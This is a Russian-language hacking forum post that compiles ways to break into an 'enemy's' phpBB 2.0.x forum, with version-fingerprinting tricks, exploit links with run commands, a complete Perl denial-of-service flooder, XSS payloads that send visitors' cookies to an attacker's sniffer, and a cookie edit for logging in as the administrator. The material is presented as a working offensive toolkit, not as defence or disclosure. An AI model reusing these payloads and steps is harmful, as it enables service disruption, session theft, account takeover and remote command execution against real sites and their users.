В сети куча статей на тему вскрытия форумов на движке phpBB. Постараюсь все это обьединить.
Предположим перед нами форум недруга на движке phpBB, который надо взломать. Рассмотрим, как определить версию форума и что делать дальше..
2.0.21
phpBB <= 2.0.21 (Poison NULL Byte) Remote Exploit
http://milw0rm.com/exploits/2348
Эксплоит позволяет ЗНАЯ ПАСС АДМИНА заливать шелл на форум.. пасс админа добывется любым другимдоступным способом))
Minerva <= 2.0.21 build 238a (phpbb_root_path) File Include Vulnerability
http://milw0rm.com/exploits/2429
2.0.20
Определить, что форум имеет именно 2.0.20 версию можно следующим образом. Заходим в поиск на форуме недруга, вводим любой запрос, жмём подряд несколько раз "поиск. Если поиск заблокировался на несколько секунд (по умолчанию на 15) и сказал вам об этом, то это она и есть. Иначе версия ниже.
phpBB <= 2.0.20 (Admin/Restore DB/default_lang) Remote Exploit
http://milw0rm.com/exploits/1780
сплоит позволяет ЗНАЯ session id удаленно выполнять команды
2.0.19
Определить, что форум имеет именно 2.0.19 версию можно следующим образом. Если после проверки на 2.0.20 поиск продолжает работать, обращаемся по адресу : --
и смотрим результат. Форум написал: Fatal error: Call to undefined function…, значит это версия НИЖЕ 2.0.19 В остальных случаях именно она и есть.
phpBB <= 2.0.19 (user_sig_bbcode_uid) Remote Code Execution Exploit
http://milw0rm.com/exploits/1661
ЗНАЯ ПАСС АДМИНА, можно удаленно выполнять команды на форуме
phpBB <= 2.0.19 XSS Remote Cookie Disclosure Exploit
http://milw0rm.com/exploits/1457
хсс на форуме, позволяющая получить куки юзверя/админа. отличный способ, но действенный в том случае, если форум не заброшен..
phpBB = 2.0.19 HYSA-2006-001
http://www.h4cky0u.org/advisories/HY...-001-phpbb.txt
Сплоит регистрирует неограниченное кол-во юзеров. И делает невыполнимые запросы через поиск. В итоге база не выдерживает, форум ложится. Если при регистрации на форуме стоит визуальное подтверждение (код с картинкой), то непрерывная регистрация ников невозможна. Также она невозможна, если стандартная регистрация phpBB модифицирована и нужно подтверждение мыла. Тогда сплоит начинает долбать поиск. Но в один поток ничего не сделать. В несколько потоков форум иногда кладется. Однако пофиксена дыра была в первый же день после выхода сплоита. Фикс заключался в ограничении кол-ва запросов в течение определенного времени. Привожу код этого сплоита:
Код:
HYSA-2006-001 h4cky0u.org Advisory 010
------------------------------------------------------
#!/usr/bin/perl
#######################################
## Recoded by: mix2mix and Elioni of http://ahg-khf.org
## And h4cky0u Security Forums (http://h4cky0u.org)
## Name: phpBBDoSReloaded
## Original Author: HaCkZaTaN of Neo Security Team
## Tested on phpBB 2.0.19 and earlier versions
## Ported to perl by g30rg3_x
## Date: 25/01/06
#######################################
use IO::Socket;
## Initialized X
$x = 0;
print q(
phpBBDosReloaded - Originally NsT-phpBB DoS by HaCkZaTaN
Recoded by Albanian Hackers Group &
h4cky0u Security Forums
);
print q(Host |without-> http://www.| );
$host = <STDIN>;
chop ($host);
print q(Path |example-> /phpBB2/ or /| );
$pth = <STDIN>;
chop ($pth);
print q(Flood Type |1 = If Visual Confirmation is disabled, 2 = If Visual Confirmation is enabled| );
$type = <STDIN>;
chop ($type);
## Tipi pлr regjistrim
if($type == 1){
## User Loop for 9999 loops (enough for Flood xDDDD)
while($x != 9999)
{
## Antari qл regjistrohet automatikishtл "X"
$uname = "username=AHG__" . "$x";
## Emaili qл regjistrohet ne bazлn "X"
$umail = "&email=AHG__" . "$x";
$postit = "$uname"."$umail"."%40ahg-crew.org&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0¬ifyreply=0¬ifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit";
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nNuk mundem te lidhemi me hostin sepse лsht dosirat ose nuk egziston: $!\n" unless $sock;
## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums
print $sock "POST $pth"."profile.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
## Print a "+" for every loop
syswrite STDOUT, "+";
$x++;
}
## Tipi 2-shл pлr Kлrkim(Flood)
}
elsif ($type == 2){
while($x != 9999)
{
## Final Search String to Send
$postit = "search_keywords=Albanian+Hackers+Group+Proof+of+Concept+$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";
## Posit Length
$lrg = length $postit;
## Connect Socket with Variables Provided By User
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums
print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
## Print a "+" for every loop
syswrite STDOUT, "+";
## Increment X in One for every Loop
$x++;
}
}else{
## STF??? Qfarл keni Shtypur
die "Mundлsia nuk Lejohet +_-???\n";
}
Дальше приведу заметку с античата. ОЧЕНЬ хорошо обьяснен взлом различных младших версий форумов phpBB.
phpBB <= 2.0.18
Цель: получение hash'a пароля пользователя
Описание: найдена WJ (White Jordan =)
Описание уязвимости: В данной версии присутствует XSS.
Exploit:
Код:
[UR*L]http://www.[U*RL=http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;]wj[/*URL][/*URL]
Чтобы воспользоваться сплойтом убираем плюсы между символами & и #(например было "&+#40" стало -"(")
phpBB <= 2.0.17
Цель: выполнение произвольных команд на сервере(php-inj)
Описание уязвимости: В данной версии присутствует уязвимость в модуле profile.php.
Exploit: http://rst.void.ru/download/r57phpbb2017.txt
Запускать "perl exp.pl <URL> <cmd>"
Где <URL> - ссылка до форума например http://site.com/phpBB/, <cmd> - нужная команда
phpBB <= 2.0.16
Цель: получение hash'a пароля пользователя
Описание уязвимости: В данной версии присутствует XSS, которая позволит получить кукисы. Они высылаются на сниффер.
Сплоит:
Код:
[*color=#EFEFEF][*url]www.ut[*url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th is.sss));'sss=`i=new/**/Image();i.src='http://ваш_снифер'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
phpBB <= 2.0.15
Цель: получение Имя,Логина, Пароля от БД.
Описание уязвимости: Уязвимость пристутствует в модуле viewtopic.php.
phpBB 2.0.15 (highlight) Database Authentication Details Exploit
http://milw0rm.com/id.php?id=1080
Запускать "perl exp.pl <server> <dir> <id> \r\n"
Где <server> - ip сервера, <dir> - директория в которой находится форум <id> номер существующего топика.
phpBB <= 2.0.13
Цель: просмотр hash'a пароля, любого пользователя
Описание уязвимости: Уязвимость присутствует в модуле downloads.php. Есть возможность SQL инъекции
phpBB <= 2.0.13 'downloads.php' mod Remote Exploit
http://milw0rm.com/id.php?id=907
Запускать "perl exp.pl <site> <dir> <id>"
Где <site> URL сайта <dir> - директория <id> - нужный нам пользователь
phpBB <= 2.0.12
Цель: Вход на форум аккаунтом администратора.
Описание уязвимости: Для начала нам следует зарегаться на форуме. Затем, войти под своим аккаунтом и если стоит галка "Автоматический вход",то убрать её. Нам нужно отредактировать кукисы (посоветую делать это в опере Tools->Advanced->Cookies). Вместо:
Код:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2 2%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7D
X - наш ID ,
а меняем на
Код:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
2 - ID админа
phpBB 2.0.10
Пропустим версии с 7 по 9, т.к. в них присутствует те же уязвимости, что и в phpBB 2.0.10.
Цель: Выполение произвольных команд.
Описание: Была выпущена так же в 2002. Данная версия встречается намного чаще, чем младшие. Но реже чем старшие =). Был произведён дефейс сайта phpbb.com, с помощью найденной уязвимости в этой версии.
Описание уязвимости: Некорректная обработка входных параметров в viewtopic.php.
phpBB <= 2.0.10 Remote Command Execution Exploit
http://milw0rm.com/id.php?id=647
Запускать "perl exp.pl [*URL] [DIR] [NUM] [CMD]"
Где [*URL] - урл сайта (например http://www.test.com), [DIR] - директория в которой находится форум(например /forum/ или /forum), [NUM] - номер топика (обязательно существующего), [CMD] - команда которую следует выполнить (например ls -la)